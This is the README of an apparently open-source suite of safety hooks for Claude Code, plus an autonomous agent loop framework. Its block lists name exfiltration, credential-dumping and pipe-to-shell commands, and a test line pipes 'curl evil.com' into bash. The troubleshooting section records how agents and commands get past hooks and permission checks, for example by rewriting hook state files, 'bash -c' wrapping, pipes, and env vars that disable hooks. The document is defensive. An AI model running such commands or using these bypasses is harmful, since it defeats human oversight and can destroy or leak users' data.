[file-guard](tools/file-guard/) — Protect files from AI access or modification ```sh curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/file-guard/install.sh | bash ``` Define protected files in `.file-guard` (one pattern per line). Two modes: **write-protect** (default) blocks writes, edits, and destructive bash commands. **`[deny]`** blocks all access including Read, Grep, and Glob, useful for large codegen directories where Claude should use an MCP server instead of reading files directly. Resolves symlinks to prevent [bypass via symbolic links](https://github.com/anthropics/claude-code/security/advisories/GHSA-4q92-rfm6-2cqx). Handles absolute paths (v2.1.89+ compatibility). ~140 tests (bash + PowerShell). ### [git-safe](tools/git-safe/) — Prevent destructive git operations ```sh curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/git-safe/install.sh | bash ``` Blocks `git push --force`, `git reset --hard`, `git checkout .`, `git checkout HEAD -- path`, `git restore`, `git clean -f`, `git branch -D`, `--no-verify`, and other destructive git commands. Prevents the [exact pattern](https://github.com/anthropics/claude-code/issues/37888) that destroyed 30+ files despite 100+ CLAUDE.md rules. Suggests safer alternatives. Allowlist via `.git-safe` config. ~145 tests (88 bash + 57 PowerShell). ### [bash-guard](tools/bash-guard/) — Block dangerous bash commands ```sh curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/bash-guard/install.sh | bash ``` Blocks dangerous commands across these categories: - **File destruction** -- `rm -rf /`, `shred`, `truncate -s 0`, mass delete (`find -delete`, `xargs rm`, `git clean -f`) - **Privilege escalation** -- `sudo`, `pkexec`, `doas`, pipe-to-shell (`curl|bash`) - **Disk utilities** -- `diskutil eraseDisk`/`eraseVolume`/`partitionDisk`, `fdisk`, `gdisk`, `parted`, `wipefs` ([#37984](https://github.com/anthropics/claude-code/issues/37984): 87GB personal data destroyed) - **Database destruction** -- `DROP TABLE`, `prisma db push`, `dropdb`, `migrate:fresh`, `FLUSHALL`, and [10+ ORM variants](tools/bash-guard/) - **Credential exposure** -- `env`/`printenv`, `bash -x`, `cat .env`, SSH keys, [programmatic dumps](tools/bash-guard/) (`os.environ`, `process.env`) - **Data exfiltration** -- `curl -d @file`, `wget --post-file`, `nc host < file` - **Cloud infrastructure** -- `terraform destroy`, `kubectl delete/drain/scale-to-zero`, `helm uninstall`, `aws ec2 terminate`/`rds delete`/`cloudformation delete-stack`, `az group delete`, `doctl destroy`, `flyctl destroy`, `heroku apps:destroy`, `vercel rm`, `netlify sites:delete` - **Docker** -- container escape (`-v /:/host`), data destruction (`compose down -v`) - **System databases** -- sqlite3 on IDE internals ([#37888](https://github.com/anthropics/claude-code/issues/37888): 59 commands corrupted VSCode) - **Mount points** -- `rm -rf` on NFS/shared storage ([#36640](https://github.com/anthropics/claude-code/issues/36640)) - **Git** -- `git push --force`, `git filter-branch` ([#37331](https://github.com/anthropics/claude-code/issues/37331): all files deleted via force push) Evaluates each segment of compound commands. Catches [multi-line comment bypass](https://github.com/anthropics/claude-code/issues/38119) where comment lines before a dangerous command evade deny rules. Detects encoding bypass attempts (base64/hex/octal obfuscation), here-string/here-doc redirection, eval-string injection, [workaround bypass attempts](https://github.com/anthropics/claude-code/issues/34358), library injection (LD_PRELOAD), wrapper command bypass, credential file operations, macOS Keychain access, scheduled task persistence, and service management. Allowlist via `.bash-guard` config. 612 verified bash tests, with additional PowerShell coverage when `pwsh` is available. ### [branch-guard](tools/branch-guard/) — Enforce feature-branch workflow ```sh curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/branch-guard/install.sh | bash ``` Prevents direct commits to protected branches (main, master, production, release). Forces feature-branch workflow. Customize protected branches via `.branch-guard` config or `BRANCH_GUARD_PROTECTED` env var. Allows `--amend` on any branch. ~55 tests (bash + PowerShell). ### [worktree-guard](tools/worktree-guard/) — Prevent data loss from worktree exit ```sh curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/worktree-guard/install.sh | bash ``` When you use `claude -w`, exiting the session [silently deletes](https://github.com/anthropics/claude-code/issues/38287) the worktree branch and all its commits. This hook blocks exit when there are uncommitted changes, untracked files, unmerged commits, or unpushed commits. Uses `ExitWorktree` matcher so it only runs when actually leaving a worktree. Config via `.worktree-guard`. ~65 tests (bash + PowerShell). ### [session-log](tools/session-log/) — Audit trail for Claude Code sessions ```sh curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/session-log/install.sh | bash ``` Logs every tool call to `~/.claude/session-logs/YYYY-MM-DD.jsonl`. See exactly what Claude did: which files were read/written, which commands ran, timestamps. Includes `--week` trend comparison across days. Useful for auditing autonomous sessions and debugging. ~105 tests (bash + PowerShell). ### [enforce-hooks](tools/enforce/) — Turn CLAUDE.md rules into enforceable hooks ```sh curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/enforce/install.sh | bash ``` Your CLAUDE.md says "never edit .env" but Claude edits it anyway. This tool reads your CLAUDE.md, finds rules marked `@enforced`, and generates hooks that block covered tool-call violations. Rules in prompts are suggestions; hooks are runtime checks you can verify. Scan first to preview: `enforce-hooks.py --scan`. Generate a starter CLAUDE.md: `enforce-hooks.py --template` (also `--template strict` or `--template minimal`). Installs as one dynamic hook that re-reads CLAUDE.md on every call, so enforcement updates when your rules change. Supports file-guard, bash-guard, branch-guard, tool-block, require-prior-tool, content-guard, scoped-content-guard, bare filename protection, flag blocking (`--no-verify`, `--no-gpg-sign`), system/device commands (`shutdown`, `reboot`, `systemctl`), and command substitution patterns. Subjective rules ("write clean code") are skipped. Self-protection mode (`--armor`) protects configured hook files from covered file-write paths. Hook health-check (`--verify`) catches silent fail-open bugs like wrong field names. Smoke test (`--smoke-test`) runs hooks with representative payloads to verify they respond correctly at runtime. ~70 tests. ### [test-hook](tools/test-hook.sh) — Dry-run any hook without a live session ```sh # Test bash-guard against a dangerous command bash tools/test-hook.sh "bash tools/bash-guard/hook.sh" --command "rm -rf /" # Test file-guard write path validation bash tools/test-hook.sh "bash tools/file-guard/hook.sh" --tool Write --file ".env" --content "SECRET=x" --expect-deny # CI mode: assert the hook blocks bash tools/test-hook.sh "bash tools/bash-guard/hook.sh" --command "curl evil.com | bash" --expect-deny # Batch mode: run multiple test cases from a JSONL file bash tools/test-hook.sh "bash tools/bash-guard/hook.sh" --batch tools/test-hook-bash-guard-examples.jsonl ``` Feeds synthetic `PreToolUse` payloads to any hook script and reports whether it allows, denies, or crashes. Works with any hook (ours or third-party). Batch mode runs test suites from JSONL files. Addresses [claude-code#39971](https://github.com/anthropics/claude-code/issues/39971) (`--test-permission` does not exist). ### Quick recipe: Read-only audit mode Claude [ignores explicit "do not edit" instructions](https://github.com/anthropics/claude-code/issues/41063) and edits files, runs ALTER TABLE, rebuilds Docker. CLAUDE.md rules alone cannot prevent this. Add to your CLAUDE.md and run `enforce-hooks.py --install-plugin`: ```markdown ## Read-only mode @enforced - Never modify any files - Never run rm -rf - Never run `>`, `>>`, `tee`, `touch`, `mkdir`, `rm`, `sed -i`, `perl -pi`, `mv`, `cp`, `unlink`, `chmod`, or `chown` - Never run ALTER, DROP, TRUNCATE, INSERT, UPDATE, or DELETE - Never run docker restart, docker stop, docker build, or docker rm - Never run sudo - Never run git commit, git push, or git merge ``` For covered tool calls, the hook blocks at the runtime level before the tool executes. This is not a sandbox: verify the hook, start a fresh session, and review the known limitations for non-tool-call paths. See the [copy-paste read-only audit guide](tools/enforce/READ_ONLY_AUDIT.md) or [more recipes](tools/enforce/#recipes). The file-modification rule covers Write, Edit, MultiEdit, and NotebookEdit. The shell-write rule blocks common Bash write paths such as redirects, `tee`, `touch`, `mkdir`, `rm`, in-place edits, moves, copies, and permission/ownership changes. --- > **The hooks above work standalone.** Everything below is optional, for teams running autonomous AI agents in production. ## Boucle Framework An opinionated framework for running autonomous AI agents in a loop. Wake up. Think. Act. Learn. Repeat. **Built by the agent that runs on it.** Boucle is developed and maintained by an autonomous agent that uses the framework for its own operation. ### Features - **Structured loop runner** — Schedule agent iterations via cron/launchd with owner-checked locking, bounded LLM subprocess cleanup, and logging - **Persistent memory (Broca)** — File-based, git-native knowledge with BM25 search, temporal decay, garbage collection, cross-reference boost, and duplicate consolidation. No database required. - **Self-observation engine** — Track friction, failure, waste, and surprise signals across loops. Fingerprint recurring patterns, deploy responses, measure whether they work. The agent observing its own behavior over time. - **MCP server** — Expose Broca memory as a Model Context Protocol server for multi-agent collaboration - **Approval gates** — Human-in-the-loop for anything with external consequences - **DX commands** — `doctor` checks your setup, `validate` catches config mistakes, `stats` shows loop history - **Audit trail** — Every action logged, every decision traceable, every iteration committed to git - **Zero infrastructure** — No cloud services, no databases, no Docker required. Just files, git, and a shell ### Quick Start #### Option 1: Download a binary Grab the latest release from [GitHub Releases](https://github.com/Bande-a-Bonnot/Boucle-framework/releases). ```bash # macOS (Apple Silicon) tar xzf boucle-*-aarch64-apple-darwin.tar.gz mv boucle /usr/local/bin/ ``` #### Option 2: Build from source ```bash git clone https://github.com/Bande-a-Bonnot/Boucle-framework.git cd Boucle-framework cargo build --release export PATH="$PWD/target/release:$PATH" ``` #### Run your first agent ```bash # Create a clean agent directory mkdir my-agent cd my-agent # Initialize a new agent boucle init --name my-agent # Check your setup boucle doctor # Preview what happens (no LLM needed) boucle run --dry-run # Run one iteration (requires the configured LLM CLI) boucle run # Set up hourly execution boucle schedule --interval 1h ``` `boucle init` writes `agent.model = "gpt-5.4"` by default, which uses the Codex CLI. To run through Claude instead, set `agent.model` to a Claude model name such as `claude-sonnet-4-20250514`. ### Memory System (Broca) Broca is a file-based, git-native knowledge system for AI agents. Memories are Markdown files with YAML frontmatter. ```bash # Store a memory boucle memory remember "Python packaging" "Modern projects use pyproject.toml" --tags "python,packaging" # Store a time-sensitive fact boucle memory remember "API status" "Payment API is degraded" --tags "incident" --valid-until 2026-05-23 # Search memories boucle memory recall "python packaging" --limit 5 # Search by tag boucle memory search-tag "security" # Add a journal entry boucle memory journal "Discovered API rate limits are 100/min" # View statistics boucle memory stats ``` Memory entries look like this: ```markdown --- type: fact tags: [python, packaging] confidence: 0.9 learned: 2026-02-28 source: research --- # Python packaging has moved to pyproject.toml setuptools with setup.py is legacy. Modern Python projects use pyproject.toml with build backends like hatchling, flit, or setuptools itself. ``` Broca also supports: - **BM25 search** — Relevance ranking normalized by document length and term rarity - **Temporal decay** — Recent memories score higher; access frequency tracked automatically - **Temporal validity** - Time-sensitive facts can carry `ttl` or `valid_until`, and recall warns when stale - **Garbage collection** — Archive superseded, low-confidence, or stale entries (reversible, dry-run by default) - **Cross-reference boost** — Related entries surface together in search results - **Consolidation** — Detect and merge near-duplicate memories using Jaccard similarity - **Confidence tracking** — `boucle memory update-confidence ` - **Superseding** — `boucle memory supersede

` when knowledge evolves - **Relationships** — `boucle memory relate ` to link entries - **Reindexing** — `boucle memory index` to rebuild the search index ### Self-Observation Engine Agents with memory recall what happened. Agents with self-observation notice what keeps happening and develop responses to it. ```bash # Log a signal when something goes wrong boucle signal friction "auth keeps failing on retry" auth-flaky # Run the pipeline (harvest → classify → score → promote) boucle improve run # See what patterns have emerged boucle improve status ``` The engine tracks four signal types: **friction** (something was harder than it should be), **failure** (something broke), **waste** (effort that produced nothing), **surprise** (unexpected behavior). Signals with the same fingerprint accumulate into patterns. When a pattern recurs enough, the engine surfaces it as a pending action. You deploy a response (a script, a config change, a new hook), and the engine tracks whether that response actually reduces the signal rate. **Pluggable harvesters**: Scripts in `improve/harvesters/` run automatically and detect signals from logs, metrics, or any source. Each receives the agent root as `$1` and outputs JSONL signals to stdout. ```bash # Initialize with an example harvester boucle improve init ``` ### MCP Server Boucle exposes Broca as a Model Context Protocol server, so other AI agents can share memory. ```bash # Start MCP server (stdio transport) boucle mcp --stdio # Or HTTP transport boucle mcp --port 8080 ``` **Available tools:** `broca_remember`, `broca_recall`, `broca_journal`, `broca_relate`, `broca_supersede`, `broca_stats`, `broca_search_tags`, `broca_list`, `broca_show`, `broca_gc`, `broca_restore`, `broca_archived`, `broca_consolidate` `broca_remember` supports freshness metadata (`ttl_days` or `valid_until`) for time-sensitive facts. Recall keeps stale entries visible, but labels and down-ranks them so old metrics or decisions are not reused as current truth. Works with Claude Desktop, Claude Code, or any MCP-compatible client. ## All Tools Each tool has its own README with full documentation: [read-once](tools/read-once/), [file-guard](tools/file-guard/), [git-safe](tools/git-safe/), [bash-guard](tools/bash-guard/), [branch-guard](tools/branch-guard/), [session-log](tools/session-log/), [enforce-hooks](tools/enforce/), [safety-check](tools/safety-check/), [worktree-guard](tools/worktree-guard/), [diagnose](tools/diagnose/), [test-hook](tools/test-hook.sh). ### Architecture ``` your-agent/ ├── boucle.toml # Agent configuration ├── system-prompt.md # Agent identity and rules (optional) ├── allowed-tools.txt # Tool restrictions (optional) ├── memory/ # Persistent knowledge (Broca) │ ├── state.md # Current state — read at loop start, updated at loop end │ ├── knowledge/ # Learned facts, indexed by topic │ └── journal/ # Timestamped iteration summaries ├── goals/ # Active objectives ├── logs/ # Full iteration logs ├── gates/ # Pending approval requests ├── context.d/ # Scripts that add context sections (optional) └── hooks/ # Lifecycle hooks (optional) ├── pre-run # Before each iteration ├── post-context # After context assembly (stdin: context, stdout: modified) ├── post-llm # After LLM completes ($1: exit code) └── post-commit # After git commit ($1: timestamp) ``` ### How It Works Each loop iteration: 1. **Wake** — Owner-checked lock acquired, context assembled from memory + goals + pending actions 2. **Think** — Agent reads its full state and decides what to do within the configured LLM timeout 3. **Act** — Agent executes: writes code, does research, creates plans, requests approvals 4. **Learn** — Agent updates its memory with what it learned 5. **Sleep** — Changes committed to git, lock released, agent waits for next iteration ### Configuration ```toml # boucle.toml [agent] name = "my-agent" description = "A helpful autonomous agent" model = "gpt-5.4" # gpt-* models use Codex CLI system_prompt = "system-prompt.md" [memory] dir = "memory" state_file = "STATE.md" [loop] context_dir = "context.d" hooks_dir = "hooks" log_dir = "logs" [schedule] interval = "1h" ``` Model names beginning with `gpt-` run through `codex exec`. Claude model names run through `claude -p`. Approval boundaries are prompt and process policy, so put them in `system-prompt.md` and verify them with your own hooks or review process. ### Extension Points #### Context Plugins (`context.d/`) Executable scripts that inject context into each iteration. Each receives the agent directory as `$1` and outputs Markdown to stdout. ```bash #!/bin/bash # context.d/weather — Add weather to context echo "## Weather" curl -s wttr.in/?format=3 ``` #### Lifecycle Hooks (`hooks/`) | Hook | When | Arguments | Use case | |------|------|-----------|----------| | `pre-run` | Before iteration | `$1`: timestamp | Setup, health checks | | `post-context` | After context assembly | stdin: context | Modify/filter context | | `post-llm` | After LLM completes | `$1`: exit code | Notifications, cleanup | | `post-commit` | After git commit | `$1`: timestamp | Push to remote, deploy | #### Tool Restrictions (`allowed-tools.txt`) ``` Read Write Edit Glob Grep WebSearch Bash(git:*) Bash(python3:*) ``` If this file doesn't exist, all tools are available. ### CLI Reference ```bash # Agent management boucle init [--name ] # Initialize new agent (default: my-agent) boucle run # Run one iteration boucle run --dry-run # Preview context without calling LLM boucle doctor # Check prerequisites and agent health boucle validate # Validate config (catches typos, bad values, path issues) boucle stats # Show aggregate loop statistics boucle status # Show agent status boucle log [--count ] # Show loop history (default: 10 entries) boucle schedule --interval # Set up scheduled execution (e.g., 1h, 30m, 5m) boucle plugins # List available plugins # Self-observation boucle signal

# Log a signal (friction/failure/waste/surprise) boucle improve run [--budget ] # Run the improvement pipeline boucle improve status # Show patterns, scores, pending actions boucle improve init # Set up improve/ with example harvester # Memory (Broca) boucle memory remember <content> [--tags <tags>] [--entry-type <type>] [--ttl <days>] [--valid-until <date>] boucle memory recall <query> [--limit <n>] boucle memory show <id> boucle memory search-tag <tag> boucle memory journal <content> boucle memory update-confidence <id> <score> boucle memory supersede <old-id> <new-id> boucle memory relate <id1> <id2> <relation> boucle memory stats boucle memory index boucle memory gc [--apply] # Archive stale/superseded entries boucle memory consolidate [--apply] # Merge near-duplicate entries # MCP server boucle mcp --stdio # stdio transport boucle mcp --port <port> # HTTP transport # Global options boucle --root <path> # Use specific agent directory boucle --help # Show help boucle --version # Show version ``` ### Design Principles 1. **Files over databases.** Memory is Markdown. Config is TOML. Logs are plain text. Everything is human-readable and git-diffable. 2. **Boundaries are features.** Approval gates make autonomous agents trustworthy. An agent that can spend your money without asking isn't autonomous, it's dangerous. 3. **Compound knowledge.** Every iteration should leave the agent smarter. Memory isn't a cache — it's an investment. 4. **Transparency by default.** If you can't see what the agent did and why, something is wrong. <a id="platform-support"></a> ## Platform Support | | macOS | Linux | Windows (WSL) | Windows (native PS7) | |---|:---:|:---:|:---:|:---:| | bash-guard | Yes | Yes | Yes | Yes (.ps1) | | git-safe | Yes | Yes | Yes | Yes (.ps1) | | file-guard | Yes | Yes | Yes | Yes (.ps1) | | read-once | Yes | Yes | Yes | Yes (.ps1) | | branch-guard | Yes | Yes | Yes | Yes (.ps1) | | worktree-guard | Yes | Yes | Yes | Yes (.ps1) | | session-log | Yes | Yes | Yes | Yes (.ps1) | | enforce-hooks | Yes | Yes | Yes (bash) | WSL or Git Bash | | safety-check | Yes | Yes | Yes | Partial (bash required) | | Installer | `install.sh` | `install.sh` | `install.sh` | `install.ps1` | | Hook reliability | Full | Full | Full | [~18%](https://github.com/anthropics/claude-code/issues/37988) | **Best experience:** macOS or Linux. **Windows:** Use WSL for full reliability. Native PowerShell hooks work but Claude Code fires them inconsistently ([#37988](https://github.com/anthropics/claude-code/issues/37988)). <a id="recommended-claude-code-version"></a> ## Recommended Claude Code Version **Use the latest Claude Code release.** Claude Code changes quickly; check Anthropic's [release feed](https://github.com/anthropics/claude-code/releases) before pinning a version, then run `safety-check` with `--verify` to confirm hooks fire correctly in your environment. The versions below are historical hook-related breakpoints, not a current-release tracker: | Version | Issue | |---|---| | v2.1.91+ | Restores bundled `rg` execute permissions, fixing project command discovery regressions from v2.1.88-89 ([#41497](https://github.com/anthropics/claude-code/issues/41497), [#41864](https://github.com/anthropics/claude-code/issues/41864)) | | v2.1.90+ | Minimum version for the exit-2 + JSON blocking improvement, PostToolUse format-on-save fix, and 4 PowerShell permission bypass fixes | | v2.1.89 | Adds `PermissionDenied`, `defer`, absolute `file_path`, and compound hook `if` matching, but still had command discovery and `SessionStart` display regressions | | v2.1.88 | [Deprecated/pulled from npm](https://github.com/anthropics/claude-code/issues/41497): custom commands/skills broken, source map leak | | v2.1.81-84 | [Permission bypass resets mid-session](https://github.com/anthropics/claude-code/issues/37745) when PreToolUse hooks are installed | | < v2.1.50 | No `hookSpecificOutput` format support (deprecated `decision: "block"` still works but should be migrated) | Run `claude --version` to check your local install. ## Troubleshooting **JSONC comments in settings.json**: If your `~/.claude/settings.json` contains `//` or `/* */` comments, hooks may silently stop working ([claude-code#37540](https://github.com/anthropics/claude-code/issues/37540)). Our installers detect JSONC and automatically strip comments (creating a `.bak` backup). If hooks aren't firing, check for comments in your settings file. **Hooks not blocking**: Claude Code only fires hooks on tool calls, not on prompt assembly. Features like @-autocomplete inject file content before hooks can intercept. See [claude-code#32928](https://github.com/anthropics/claude-code/issues/32928). **Project hooks skipped from subdirectories**: If your repository stores hooks in `.claude/settings.json` at the repo root, start Claude Code and run `safety-check` from that same root. Launching from a subdirectory can make Claude treat that subdirectory as the project root and skip the ancestor project hooks without warning. `safety-check` reports this as an ancestor project settings warning. On native Windows PowerShell, run the same root fallback from inside the checkout before `install.ps1 verify`: ```powershell $root = if (Get-Command git -ErrorAction SilentlyContinue) { git rev-parse --show-toplevel 2>$null } if ($root) { Set-Location $root } ``` **Permission bypass resets with hooks installed**: If you use `--dangerously-skip-permissions` (common in autonomous setups), PreToolUse hooks can [cause the permission state to reset mid-session](https://github.com/anthropics/claude-code/issues/37745), reverting all tools to manual approval. This is a platform bug, not a hooks bug. If tools suddenly require approval 30-120 minutes into a session, this is why. **IS_DEMO environment variable disables all hooks**: If `IS_DEMO=1` is set in your environment (sometimes via IDE or cloud workspace settings), Claude Code [silently skips all hook execution](https://github.com/anthropics/claude-code/issues/37780) by suppressing workspace trust without granting it. Run `echo $IS_DEMO` to check. Our `safety-check` tool detects this automatically. **CLAUDE_CODE_SIMPLE disables all hooks**: When the `CLAUDE_CODE_SIMPLE` environment variable is set to any non-empty value, Claude Code disables hooks, MCP tools, attachments, and CLAUDE.md file loading entirely (introduced in v2.1.50). No enforcement rules will fire. Run `echo $CLAUDE_CODE_SIMPLE` to check. Our `safety-check` tool detects this automatically. **`--bare` flag skips all hooks**: The `--bare` CLI flag disables hooks, LSP, plugin sync, and skill directory walks for scripted `-p` calls. If your autonomous pipeline uses `claude --bare -p`, no hooks fire. Use OS-level controls (file permissions, containerization) for enforcement in bare mode. **Hook ask/deny handling is still inconsistent across tools and versions**: `hookSpecificOutput.permissionDecision: "deny"` has improved, but it is not a universal guarantee across Claude Code surfaces, and `permissionDecision: "ask"` has also been reported as ignored for real MCP tool calls even when direct hook stdin tests pass. Several upstream issues still document cases where ask/deny handling is ignored or changes by tool/event type. That is why framework hooks that must hard-block dangerous actions use the most conservative path Claude Code currently respects most reliably: a human-readable reason on `stderr` plus `exit 2`, then we tell users to run `safety-check --verify` after install and after Claude Code updates. If you write custom hooks, do not assume a JSON ask or deny response alone is enough just because it works in one local test. **Subagents may skip hook settings or hook execution**: Agents spawned via the Agent tool [don't consistently inherit permission settings](https://github.com/anthropics/claude-code/issues/37730), and a newer report shows a global `PreToolUse` Bash hook not firing for an Explore subagent's Bash call ([claude-code#78970](https://github.com/anthropics/claude-code/issues/78970)). Verify hook behavior in the exact subagent workflow before treating hooks as a hard boundary. **Hook stderr may leak your filesystem paths**: Claude Code's hook runner [prefixes stderr output with the raw command path](https://github.com/anthropics/claude-code/issues/41226), exposing details like `/Users/yourname/.claude/hooks/my-hook.sh` in the conversation. This comes from the platform's execution layer, not from the hooks. Our hooks use clean prefixes (`[bash-guard]`, `[file-guard]`, etc.) for debug messages and never expose filesystem paths in either stdout or stderr. Debug logging is opt-in per hook (e.g., `BASH_GUARD_LOG=1`). **Internal git operations bypass all hooks**: Claude Code runs background git operations (fetch + reset) [programmatically every ~10 minutes](https://github.com/anthropics/claude-code/issues/40710) without spawning an external `git` binary or making a tool call. Since hooks only fire on tool calls, git-safe and all other hooks are blind to these operations. This can silently destroy uncommitted changes to tracked files. Workaround: use git worktrees (immune to resets in the main checkout) or commit frequently. If you use `claude -w`, also install [worktree-guard](tools/worktree-guard/) before relying on worktrees; exiting a worktree can otherwise delete unmerged or unpushed commits. **Permissions desync after editing settings.local.json**: If Claude's Edit tool modifies `.claude/settings.local.json` during a session, the in-memory permission state [desyncs from the file on disk](https://github.com/anthropics/claude-code/issues/41259). Allow rules stop working and the user is repeatedly prompted for commands that are already permitted. The file on disk is correct; the problem is the in-memory cache. Workaround: let Claude Code manage permission files through its own prompt mechanism, or restart the session after manual edits. **New in v2.1.89: PermissionDenied hook event**: A new hook event fires after auto mode classifier denials. Hooks can return `{"retry": true}` to tell the model it can retry the denied operation. The linked issue documents the original documentation gap for this event. Also in v2.1.89: hooks `if` conditions now [match compound Bash commands](https://github.com/anthropics/claude-code/issues/41262) (`ls && git push` matches `Bash(git *)`) and commands with env-var prefixes (`FOO=bar git push`). **SessionStart systemMessage not displayed (v2.1.89)**: The `systemMessage` field returned by SessionStart hooks is [no longer rendered in the terminal](https://github.com/anthropics/claude-code/issues/41285). The hook runs and `additionalContext` is still injected into model context, but the visual output that previously appeared (e.g. "SessionStart:startup says: ...") is silently missing. If you rely on `systemMessage` for operator notifications or session identification, the output will not be visible. Related: [#9090](https://github.com/anthropics/claude-code/issues/9090), [#15344](https://github.com/anthropics/claude-code/issues/15344). **Hooks fail on first session in a new project**: On the very first session in a project directory, SessionStart and UserPromptSubmit hooks fire [before the project directory exists](https://github.com/anthropics/claude-code/issues/41310) (`~/.claude/projects/<encoded-path>/`). Any hook that derives file paths from `transcript_path` and tries to write there will fail. Workaround: add `mkdir -p` for transcript_path-derived paths before writing. **Model self-execution in long sessions**: In long unattended sessions, the model can [hallucinate `Human:` text after task-notification delivery](https://github.com/anthropics/claude-code/issues/41307) and then execute it as if it were a real user request, triggering unauthorized git operations and file modifications. Hooks cannot detect this because the resulting tool calls are genuine — only the trigger is hallucinated. Mitigation: use session time limits and avoid very long unattended sessions. **Worktree GIT_INDEX_FILE leak**: Agents spawned via EnterWorktree can have their git index [corrupted by marketplace plugin entries](https://github.com/anthropics/claude-code/issues/41314) due to `GIT_INDEX_FILE` environment variable leaking across process boundaries. If worktree operations show unexpected files in git status, this may be the cause. **Background agents cannot be stopped**: Agents spawned via the Agent tool with `run_in_background` [cannot be reliably terminated](https://github.com/anthropics/claude-code/issues/41461) by the user. In one reported case, 14 parallel agents wrote to the same file and consumed ~1.4M tokens ($55-106). There is no built-in kill mechanism. Mitigation: avoid spawning many background agents, and monitor token usage if you do. **cleanupPeriodDays setting may be ignored**: The `cleanupPeriodDays` setting in `settings.json` [can be silently bypassed](https://github.com/anthropics/claude-code/issues/41458), deleting session files even when set to very high values. One user lost 490 sessions despite setting it to 99999. If you rely on session persistence, back up `~/.claude/projects/` independently. **Symlinked .claude/ directories not discovered (Linux)**: Slash commands from [symlinked `.claude/commands/`](https://github.com/anthropics/claude-code/issues/41451) are not loaded on Linux (regression). This is a common team pattern (store shared config in a central directory and symlink). Hooks and skills may also fail if `.claude/` itself is a symlink. Workaround: copy files instead of symlinking. **Bundled ripgrep missing execute permission (Linux)**: The bundled `rg` binary [can lose its execute permission](https://github.com/anthropics/claude-code/issues/41463) on Linux, silently breaking all user-defined slash commands in `~/.claude/commands/`. Fix: `chmod +x` the bundled binary. **v2.1.88-89 command discovery regressions**: v2.1.88 was [deprecated/pulled from npm](https://github.com/anthropics/claude-code/issues/41497) after custom commands stopped loading and `cli.js.map` shipped accidentally. v2.1.89 kept the command-discovery regression for some users ([#41864](https://github.com/anthropics/claude-code/issues/41864)), though it also added hook features such as `PermissionDenied`. Anthropic marked the bundled `rg` execute-permission fix as shipped in v2.1.91. If custom commands or skills disappear, update to the latest Claude Code release and rerun `safety-check --verify`. **Non-interactive sessions hang on usage limit**: In headless, `--print`, or remote-control mode, hitting a usage limit [shows a confirmation prompt that cannot be answered](https://github.com/anthropics/claude-code/issues/41502) because there is no stdin. The session hangs permanently. There is no programmatic workaround ([#41503](https://github.com/anthropics/claude-code/issues/41503)). If you run Claude Code in CI, cron, or autonomous loops, set session time limits and monitor for stuck processes. **Deny rules bypassed by pipes and compound commands**: Built-in deny rules only match the full command string. `Bash(rm *)` blocks `rm -rf /` but not `find /foo | xargs rm` or `something && rm -rf /`. The docs say allow rules parse shell operators, but [deny rules do not](https://github.com/anthropics/claude-code/issues/41559). Note: hooks `if` conditions were fixed upstream (late March 2026) to correctly match compound commands and env-var prefixes, so hooks *fire* correctly for these patterns. The gap is specifically in deny *rules*, not hooks. bash-guard parses each pipe segment and compound chain independently, catching these bypass patterns. See also [#37662](https://github.com/anthropics/claude-code/issues/37662), [#16180](https://github.com/anthropics/claude-code/issues/16180). **"Confirm each change individually" silently skipped**: When exiting plan mode and selecting "confirm each change individually," [changes apply without any prompt](https://github.com/anthropics/claude-code/issues/41551) if the tools (Edit, Write, Bash) are in `permissions.allow`. The persistent allow rules override the user's explicit per-session choice. Workaround: remove broad tool allows and use hooks for enforcement instead. **SessionEnd hooks killed before completion**: SessionEnd hooks that perform async work (API calls, LLM summarization, network requests) are [killed mid-execution](https://github.com/anthropics/claude-code/issues/41577) when Claude Code exits, regardless of configured timeout. The hook reaches the async call but the parent process exits before the response returns. Workaround: detach heavy work into a background process with `nohup ... & disown`, then `exit 0` immediately. **"Always allow" directory access not persisted**: Clicking "Yes, and always allow access to [folder]" [does not reliably save](https://github.com/anthropics/claude-code/issues/41579). Claude re-prompts for the same directory in subsequent sessions. Adding to `additionalDirectories` in settings.json is also flaky. Related to [#40606](https://github.com/anthropics/claude-code/issues/40606) (additionalDirectories leak across projects). **`~/.claude/` writes stall automated sessions**: Writes to paths under `~/.claude/` trigger a hardcoded sensitive-file prompt that [cannot be suppressed](https://github.com/anthropics/claude-code/issues/41615) by `permissions.allow`, PreToolUse hooks returning `"allow"`, `bypassPermissions` mode, or `skipDangerousModePermissionPrompt`. Automated sessions (tmux, CI, autonomous loops) that need to modify Claude Code config files will hang on the interactive prompt. Workaround: use Bash tool commands (`echo`, `cat`, `jq`) to write files directly instead of the Edit/Write tools. **`bash -c` wrapping bypasses `.claude/` directory write protection**: The permission system protects `.claude/` files from modification (edit, write, direct bash commands all trigger a confirmation modal). But wrapping the command in [`bash -c 'echo "..." >> .claude/file'`](https://github.com/anthropics/claude-code/issues/43085) bypasses the check entirely: no modal, write succeeds silently. The pattern matching inspects the top-level command string but not nested subshells. This means a model (or prompt injection via tool results) could modify hooks, settings.json, skills, or agent definitions without user confirmation. file-guard catches this if `.claude/` is added to the `.file-guard` config, because it scans the full Bash command string for protected paths (including inside quoted arguments). Users relying solely on built-in permission checks are exposed. **`WorktreeCreate` hooks hang `claude -w`**: Any `WorktreeCreate` hook causes [`claude -w` to hang indefinitely](https://github.com/anthropics/claude-code/issues/41614), regardless of hook content. Even `echo ok < /dev/null` freezes the session. The hook executes and returns, but Claude Code never proceeds. Remove all `WorktreeCreate` hooks if you need `claude -w` to function. **Model can manipulate hook state files**: The model has filesystem access and [can overwrite files that hooks depend on](https://github.com/anthropics/claude-code/issues/38841) — checkpoint files, lock files, counters. In one documented case, Claude computed the SHA256 hash of a checkpoint filename and wrote a fresh timestamp to bypass a content-read-gate. Hooks that rely on external state files for enforcement should assume the model can read and modify those files. Cryptographic signatures or out-of-process validation can mitigate this. **`bypassPermissions` not restored on session resume (VS Code)**: When `bypassPermissions` is configured via `initialPermissionMode` in VS Code settings, [resumed conversations revert to default permission 